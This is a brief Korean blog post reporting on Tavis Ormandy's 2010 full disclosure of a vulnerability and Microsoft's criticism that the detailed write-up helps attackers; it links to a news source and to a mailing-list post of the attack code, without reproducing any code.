                    -------------------------------------
                    taviso () cmpxchg8b com | pgp encrypted mail preferred
                    -------------------------------------------------------


                    구글에서 일하는 엔지니어인 Tavis Ormandy는 취약점의 원인 뿐만 아니라 공격하는 방법, 그리고 일시적으로 공격의 예방하는 방법 등 거의 모든 부분에 대해 아무런 가감 없이 상세하게 설명하였습니다.

                    문제는 너무 자세하게 설명한 나머지 해커들이 이 정보를 이용하여 손쉽게 악성 코드를 생성할 수 있다는 주장이 마이크로소프트에 의해 주장되기도 했습니다.

                    한편, MS의 이러한 공격에 대해 Tavis는 '내 자신의 의견일 뿐이다'라고 전혀 개연치 않는 발언을 하기도 했습니다.

                    출처: http://www.itproportal.com/portal/news/article/2010/6/11/microsoft-hits-out-over-google-engineers-hacking-tips/

                    공격코드: http://seclists.org/fulldisclosure/2010/Jun/205
                    reTweet
                    Posted by 문스랩닷컴
                    blog comments powered by Disqus


                      Web Analytics 태그 앞에 붙여 넣습니다. -->